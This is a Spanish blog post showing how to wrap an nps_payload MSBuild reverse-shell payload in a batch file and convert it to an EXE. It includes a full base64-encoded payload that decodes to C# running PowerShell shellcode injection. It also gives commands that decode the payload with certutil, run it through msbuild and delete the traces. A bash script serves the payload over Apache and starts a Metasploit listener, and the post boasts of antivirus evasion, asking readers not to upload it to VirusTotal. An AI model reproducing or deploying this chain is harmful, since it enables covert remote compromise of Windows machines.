8/8/17

NPS_PAYLOAD TO BAT TO EXE

Hola excelente dia a todos, les comparto una articulo muy interesante de Hackplayes publicado por Alejandro Taibo, donde se explica la funcionalidad de NPS_Payload para crear payloads que podremos utilizar aprovechándonos de una vulnerabilidad de MSBUILD para realizar una ejecución de codigo malintencionado.

NPS_Payload lo pueden encontrar en  https://github.com/trustedsec/nps_payload

 La instalación es sencilla

#git clone https://github.com/trustedsec/nps_payload.git
#pip install -r requirements.txt 

El uso de la tool se explica bastante bien en el post de Hackplayers. Al punto que voy es que para poder obtener la reverse shell se tiene que correr el payload de dos maneras:

1) Copy the file to the target machine and then execute the following command:

    %windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe <folder_path_here>\msbuild_nps.xml

    --or--

2) Use samba to share the file.

    a) Copy the msbuild_nps.xml file to a local samba share (ie: /var/samba/payload$)
    b) Execute the command remotely with the following command:

    wmiexec.py <USER>:'<PASS>'@<RHOST> cmd.exe /c start %windir%\\Microsoft.NET\\Framework\\v4.0.30319\\msbuild.exe \\\\192.168.1.132\\payloads$\\msbuild_nps.xml


Lo cual como bien explica Alejandro en el post es difícil hacer que una posible víctima realize sobre todo el primer paso para poder obtener la shell, entonces el mismo propone una posible solución el cual es que el .xml generado por la tool se codifique en base64 y se pase a un BACH Script que el genero haciendo esto mas sencillo.


ejemplo:

@echo off
echo PFByb2plY3QgVG9vbHNWZXJzaW9uPSI0LjAiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL2RldmVsb3Blci9tc2J1aWxkLzIwMDMiPjxUYXJnZXQgTmFtZT0ibnBzY3NoYXJwIj48bnBzIC8+PC9UYXJnZXQ+PFVzaW5nVGFzayBUYXNrTmFtZT0ibnBzIiBUYXNrRmFjdG9yeT0iQ29kZVRhc2tGYWN0b3J5IiBBc3NlbWJseUZpbGU9IkM6XFdpbmRvd3NcTWljcm9zb2Z0Lk5ldFxGcmFtZXdvcmtcdjQuMC4zMDMxOVxNaWNyb3NvZnQuQnVpbGQuVGFza3MudjQuMC5kbGwiID48VGFzaz48UmVmZXJlbmNlIEluY2x1ZGU9IlN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24iIC8+PENvZGUgVHlwZT0iQ2xhc3MiIExhbmd1YWdlPSJjcyI+PCFbQ0RBVEFbdXNpbmcgU3lzdGVtO3VzaW5nIFN5c3RlbS5Db2xsZWN0aW9ucy5PYmplY3RNb2RlbDt1c2luZyBTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uO3VzaW5nIFN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uUnVuc3BhY2VzO3VzaW5nIE1pY3Jvc29mdC5CdWlsZC5GcmFtZXdvcms7dXNpbmcgTWljcm9zb2Z0LkJ1aWxkLlV0aWxpdGllcztwdWJsaWMgY2xhc3MgbnBzIDogVGFzaywgSVRhc2t7cHVibGljIG92ZXJyaWRlIGJvb2wgRXhlY3V0ZSgpe3N0cmluZyBjbWQgPSAiSkZWc1EzUlpXVTEzY1NBOUlFQWlEUXBiUkd4c1NXMXdiM0owS0NKclpYSnVaV3d6TWk1a2JHd2lLVjBOQ25CMVlteHBZeUJ6ZEdGMGFXTWdaWGgwWlhKdUlFbHVkRkIwY2lCV2FYSjBkV0ZzUVd4c2IyTW9TVzUwVUhSeUlHeHdRV1JrY21WemN5d2dkV2x1ZENCa2QxTnBlbVVzSUhWcGJuUWdabXhCYkd4dlkyRjBhVzl1Vkhsd1pTd2dkV2x1ZENCbWJGQnliM1JsWTNRcE93MEtXMFJzYkVsdGNHOXlkQ2dpYTJWeWJtVnNNekl1Wkd4c0lpbGREUXB3ZFdKc2FXTWdjM1JoZEdsaklHVjRkR1Z5YmlCSmJuUlFkSElnUTNKbFlYUmxWR2h5WldGa0tFbHVkRkIwY2lCc2NGUm9jbVZoWkVGMGRISnBZblYwWlhNc0lIVnBiblFnWkhkVGRHRmphMU5wZW1Vc0lFbHVkRkIwY2lCc2NGTjBZWEowUVdSa2NtVnpjeXdnU1c1MFVIUnlJR3h3VUdGeVlXMWxkR1Z5TENCMWFXNTBJR1IzUTNKbFlYUnBiMjVHYkdGbmN5d2dTVzUwVUhSeUlHeHdWR2h5WldGa1NXUXBPdzBLVzBSc2JFbHRjRzl5ZENnaWJYTjJZM0owTG1Sc2JDSXBYUTBLY0hWaWJHbGpJSE4wWVhScFl5QmxlSFJsY200Z1NXNTBVSFJ5SUcxbGJYTmxkQ2hKYm5SUWRISWdaR1Z6ZEN3Z2RXbHVkQ0J6Y21Nc0lIVnBiblFnWTI5MWJuUXBPdzBLSWtBTkNnMEtKRXB0ZVVOM2ExRnJlbUZPY0dZZ1BTQkJaR1F0Vkhsd1pTQXRiV1Z0WW1WeVJHVm1hVzVwZEdsdmJpQWtWV3hEZEZsWlRYZHhJQzFPWVcxbElDSlhhVzR6TWlJZ0xXNWhiV1Z6Y0dGalpTQlhhVzR6TWtaMWJtTjBhVzl1Y3lBdGNHRnpjM1JvY25VTkNnMEtXMEo1ZEdWYlhWMGdKRkJrYzA1SlJuWndjbWQxVGtZZ1BTQXdlR1pqTERCNFpUZ3NNSGc0TWl3d2VEQXNNSGd3TERCNE1Dd3dlRFl3TERCNE9Ea3NNSGhsTlN3d2VETXhEUW9rVUdSelRrbEdkbkJ5WjNWT1JpQXJQU0F3ZUdNd0xEQjROalFzTUhnNFlpd3dlRFV3TERCNE16QXNNSGc0WWl3d2VEVXlMREI0WXl3d2VEaGlMREI0TlRJTkNpUlFaSE5PU1VaMmNISm5kVTVHSUNzOUlEQjRNVFFzTUhnNFlpd3dlRGN5TERCNE1qZ3NNSGhtTERCNFlqY3NNSGcwWVN3d2VESTJMREI0TXpFc01IaG1aZzBLSkZCa2MwNUpSblp3Y21kMVRrWWdLejBnTUhoaFl5d3dlRE5qTERCNE5qRXNNSGczWXl3d2VESXNNSGd5WXl3d2VESXdMREI0WXpFc01IaGpaaXd3ZUdRTkNpUlFaSE5PU1VaMmNISm5kVTVHSUNzOUlEQjRNU3d3ZUdNM0xEQjRaVElzTUhobU1pd3dlRFV5TERCNE5UY3NNSGc0WWl3d2VEVXlMREI0TVRBc01IZzRZZzBLSkZCa2MwNUpSblp3Y21kMVRrWWdLejBnTUhnMFlTd3dlRE5qTERCNE9HSXNNSGcwWXl3d2VERXhMREI0Tnpnc01IaGxNeXd3ZURRNExEQjRNU3d3ZUdReERRb2tVR1J6VGtsR2RuQnlaM1ZPUmlBclBTQXdlRFV4TERCNE9HSXNNSGcxT1N3d2VESXdMREI0TVN3d2VHUXpMREI0T0dJc01IZzBPU3d3ZURFNExEQjRaVE1OQ2lSUVpITk9TVVoyY0hKbmRVNUdJQ3M5SURCNE0yRXNNSGcwT1N3d2VEaGlMREI0TXpRc01IZzRZaXd3ZURFc01IaGtOaXd3ZURNeExEQjRabVlzTUhoaFl3MEtKRkJrYzA1SlJuWndjbWQxVGtZZ0t6MGdNSGhqTVN3d2VHTm1MREI0WkN3d2VERXNNSGhqTnl3d2VETTRMREI0WlRBc01IZzNOU3d3ZUdZMkxEQjRNdzBLSkZCa2MwNUpSblp3Y21kMVRrWWdLejBnTUhnM1pDd3dlR1k0TERCNE0ySXNNSGczWkN3d2VESTBMREI0TnpVc01IaGxOQ3d3ZURVNExEQjRPR0lzTUhnMU9BMEtKRkJrYzA1SlJuWndjbWQxVGtZZ0t6MGdNSGd5TkN3d2VERXNNSGhrTXl3d2VEWTJMREI0T0dJc01IaGpMREI0TkdJc01IZzRZaXd3ZURVNExEQjRNV01OQ2lSUVpITk9TVVoyY0hKbmRVNUdJQ3M5SURCNE1Td3dlR1F6TERCNE9HSXNNSGcwTERCNE9HSXNNSGd4TERCNFpEQXNNSGc0T1N3d2VEUTBMREI0TWpRTkNpUlFaSE5PU1VaMmNISm5kVTVHSUNzOUlEQjRNalFzTUhnMVlpd3dlRFZpTERCNE5qRXNNSGcxT1N3d2VEVmhMREI0TlRFc01IaG1aaXd3ZUdVd0xEQjROV1lOQ2lSUVpITk9TVVoyY0hKbmRVNUdJQ3M5SURCNE5XWXNNSGcxWVN3d2VEaGlMREI0TVRJc01IaGxZaXd3ZURoa0xEQjROV1FzTUhnMk9Dd3dlRE16TERCNE16SU5DaVJRWkhOT1NVWjJjSEpuZFU1R0lDczlJREI0TUN3d2VEQXNNSGcyT0N3d2VEYzNMREI0TnpNc01IZ3pNaXd3ZURWbUxEQjROVFFzTUhnMk9Dd3dlRFJqRFFva1VHUnpUa2xHZG5CeVozVk9SaUFyUFNBd2VEYzNMREI0TWpZc01IZzNMREI0Wm1Zc01IaGtOU3d3ZUdJNExEQjRPVEFzTUhneExEQjRNQ3d3ZURBTkNpUlFaSE5PU1VaMmNISm5kVTVHSUNzOUlEQjRNamtzTUhoak5Dd3dlRFUwTERCNE5UQXNNSGcyT0N3d2VESTVMREI0T0RBc01IZzJZaXd3ZURBc01IaG1aZzBLSkZCa2MwNUpSblp3Y21kMVRrWWdLejBnTUhoa05Td3dlRFpoTERCNE5Td3dlRFk0TERCNFl6QXNNSGhoT0N3d2VERXNNSGc0TkN3d2VEWTRMREI0TWcwS0pGQmtjMDVKUm5ad2NtZDFUa1lnS3owZ01IZ3dMREI0TVRFc01IZzFZeXd3ZURnNUxEQjRaVFlzTUhnMU1Dd3dlRFV3TERCNE5UQXNNSGcxTUN3d2VEUXdEUW9rVUdSelRrbEdkbkJ5WjNWT1JpQXJQU0F3ZURVd0xEQjROREFzTUhnMU1Dd3dlRFk0TERCNFpXRXNNSGhtTERCNFpHWXNNSGhsTUN3d2VHWm1MREI0WkRVTkNpUlFaSE5PU1VaMmNISm5kVTVHSUNzOUlEQjRPVGNzTUhnMllTd3dlREV3TERCNE5UWXNNSGcxTnl3d2VEWTRMREI0T1Rrc01IaGhOU3d3ZURjMExEQjROakVOQ2lSUVpITk9TVVoyY0hKbmRVNUdJQ3M5SURCNFptWXNNSGhrTlN3d2VEZzFMREI0WXpBc01IZzNOQ3d3ZUdFc01IaG1aaXd3ZURSbExEQjRPQ3d3ZURjMURRb2tVR1J6VGtsR2RuQnlaM1ZPUmlBclBTQXdlR1ZqTERCNFpUZ3NNSGcyTVN3d2VEQXNNSGd3TERCNE1Dd3dlRFpoTERCNE1Dd3dlRFpoTERCNE5BMEtKRkJrYzA1SlJuWndjbWQxVGtZZ0t6MGdNSGcxTml3d2VEVTNMREI0Tmpnc01IZ3lMREI0WkRrc01IaGpPQ3d3ZURWbUxEQjRabVlzTUhoa05Td3dlRGd6RFFva1VHUnpUa2xHZG5CeVozVk9SaUFyUFNBd2VHWTRMREI0TUN3d2VEZGxMREI0TXpZc01IZzRZaXd3ZURNMkxEQjRObUVzTUhnME1Dd3dlRFk0TERCNE1BMEtKRkJrYzA1SlJuWndjbWQxVGtZZ0t6MGdNSGd4TUN3d2VEQXNNSGd3TERCNE5UWXNNSGcyWVN3d2VEQXNNSGcyT0N3d2VEVTRMREI0WVRRc01IZzFNdzBLSkZCa2MwNUpSblp3Y21kMVRrWWdLejBnTUhobE5Td3dlR1ptTERCNFpEVXNNSGc1TXl3d2VEVXpMREI0Tm1Fc01IZ3dMREI0TlRZc01IZzFNeXd3ZURVM0RRb2tVR1J6VGtsR2RuQnlaM1ZPUmlBclBTQXdlRFk0TERCNE1pd3dlR1E1TERCNFl6Z3NNSGcxWml3d2VHWm1MREI0WkRVc01IZzRNeXd3ZUdZNExEQjRNQTBLSkZCa2MwNUpSblp3Y21kMVRrWWdLejBnTUhnM1pDd3dlREl5TERCNE5UZ3NNSGcyT0N3d2VEQXNNSGcwTUN3d2VEQXNNSGd3TERCNE5tRXNNSGd3RFFva1VHUnpUa2xHZG5CeVozVk9SaUFyUFNBd2VEVXdMREI0Tmpnc01IaGlMREI0TW1Zc01IaG1MREI0TXpBc01IaG1aaXd3ZUdRMUxEQjROVGNzTUhnMk9BMEtKRkJrYzA1SlJuWndjbWQxVGtZZ0t6MGdNSGczTlN3d2VEWmxMREI0TkdRc01IZzJNU3d3ZUdabUxEQjRaRFVzTUhnMVpTd3dlRFZsTERCNFptWXNNSGhqRFFva1VHUnpUa2xHZG5CeVozVk9SaUFyUFNBd2VESTBMREI0WlRrc01IZzNNU3d3ZUdabUxEQjRabVlzTUhobVppd3dlREVzTUhoak15d3dlREk1TERCNFl6WU5DaVJRWkhOT1NVWjJjSEpuZFU1R0lDczlJREI0TnpVc01IaGpOeXd3ZUdNekxEQjRZbUlzTUhobU1Dd3dlR0kxTERCNFlUSXNNSGcxTml3d2VEWmhMREI0TUEwS0pGQmtjMDVKUm5ad2NtZDFUa1lnS3owZ01IZzFNeXd3ZUdabUxEQjRaRFVOQ2cwS0RRb2tTWFpNY25aU2FraDFRbFZFSUQwZ0pFcHRlVU4zYTFGcmVtRk9jR1k2T2xacGNuUjFZV3hCYkd4dll5Z3dMRnROWVhSb1hUbzZUV0Y0S0NSUVpITk9TVVoyY0hKbmRVNUdMa3hsYm1kMGFDd3dlREV3TURBcExEQjRNekF3TUN3d2VEUXdLUTBLRFFwbWIzSWdLQ1JSVVZKUFJGWlNXRzV3Wnowd095UlJVVkpQUkZaU1dHNXdaeUF0YkdVZ0tDUlFaSE5PU1VaMmNISm5kVTVHTGt4bGJtZDBhQzB4S1Rza1VWRlNUMFJXVWxodWNHY3JLeWtnZXcwS0lDQWtTbTE1UTNkclVXdDZZVTV3WmpvNmJXVnRjMlYwS0Z0SmJuUlFkSEpkS0NSSmRreHlkbEpxU0hWQ1ZVUXVWRzlKYm5Rek1pZ3BLeVJSVVZKUFJGWlNXRzV3Wnlrc0lDUlFaSE5PU1VaMmNISm5kVTVHV3lSUlVWSlBSRlpTV0c1d1oxMHNJREVwSUh3Z1QzVjBMVTUxYkd3TkNuME5DZzBLSkVwdGVVTjNhMUZyZW1GT2NHWTZPa055WldGMFpWUm9jbVZoWkNnd0xEQXNKRWwyVEhKMlVtcElkVUpWUkN3d0xEQXNNQ2tOQ21admNpQW9PenNwZXdvZ0lGTjBZWEowTFhOc1pXVndJRFl3Q24wPSI7UG93ZXJTaGVsbCBwcyA9IFBvd2VyU2hlbGwuQ3JlYXRlKCk7cHMuQWRkU2NyaXB0KEJhc2U2NERlY29kZShjbWQpKTtDb2xsZWN0aW9uPFBTT2JqZWN0PiBvdXRwdXQgPSBudWxsO3RyeXtvdXRwdXQgPSBwcy5JbnZva2UoKTt9Y2F0Y2goRXhjZXB0aW9uIGUpe0NvbnNvbGUuV3JpdGVMaW5lKCJFcnJvciB3aGlsZSBleGVjdXRpbmcgdGhlIHNjcmlwdC5cclxuIiArIGUuTWVzc2FnZS5Ub1N0cmluZygpKTt9aWYgKG91dHB1dCAhPSBudWxsKXtmb3JlYWNoIChQU09iamVjdCBydG5JdGVtIGluIG91dHB1dCl7Q29uc29sZS5Xcml0ZUxpbmUocnRuSXRlbS5Ub1N0cmluZygpKTt9fXJldHVybiB0cnVlO31wdWJsaWMgc3RhdGljIHN0cmluZyBCYXNlNjRFbmNvZGUoc3RyaW5nIHRleHQpIHtyZXR1cm4gU3lzdGVtLkNvbnZlcnQuVG9CYXNlNjRTdHJpbmcoU3lzdGVtLlRleHQuRW5jb2RpbmcuVVRGOC5HZXRCeXRlcyh0ZXh0KSk7fXB1YmxpYyBzdGF0aWMgc3RyaW5nIEJhc2U2NERlY29kZShzdHJpbmcgZW5jb2RlZHRleHQpIHtyZXR1cm4gU3lzdGVtLlRleHQuRW5jb2RpbmcuVVRGOC5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhlbmNvZGVkdGV4dCkpO319XV0+PC9Db2RlPjwvVGFzaz48L1VzaW5nVGFzaz48L1Byb2plY3Q+>"%temp%\payload.txt"
certutil -decode "%temp%\payload.txt" "%temp%\payload.xml" 
del %temp%\payload.txt
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe %tmp%\payload.xml
del %temp%\payload.xml


El problema que yo tuve es que al hacer la compilación con MSBUILD la pantalla del cmd se me queda abierta y en ejecución, lo cual esto no es mayor problema hay muchas maneras de solucionarlo y una de ellas fue pasarlo a un .EXE por medio de la sencilla herramienta de Bat to EXE.


Tambien realize un sencillo script en bash para ya generar el .txt que pasamos a windows para hacerlo BAT, donde este mismo corre nps_payload.py, codifica el .xml generado y utilizo las mismas lineas del script de Alejandro para todo guardarlo en un .txt para posteriormente moverlo a apache y para finalizar correr el .RC que genera nps_payload.


#!/bin/bash
sleep 3
echo "Crea tu payload.xml"
python nps_payload.py
sleep 3
echo  "Creando el fichero para formato .BAT"
echo  "@echo off" > bat.txt
echo  "echo" >> bat.txt
base64 -w 0 msbuild_nps.xml >> bat.txt
echo  '>"%temp%\payload.txt" '>> bat.txt
echo  'certutil -decode "%temp%\payload.txt" "%temp%\payload.xml"' >> bat.txt
echo  'del %temp%\payload.txt' >> bat.txt
echo  'C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe %tmp%\payload.xml' >> bat.txt
echo  'del %temp%\payload.xml' >> bat.txt
sleep 3
echo "Copiando bat.txt al directorio web Aapache"
cp bat.txt /var/www/html/bat.txt
sleep 3
echo "Inicializando Apache"
/etc/init.d/apache2 start
sleep 3
echo "Corriendo Listener .RC"
msfconsole -r msbuild_nps.rc


Lo mejor de todo es que es indetectable por los AV

Este es el scan en virus total que realizaron los autores:


NOTA: No lo suban a VIRUS TOTAL.


Por ultimo dejo un video con el funcionamiento.

Saludos.






No hay comentarios: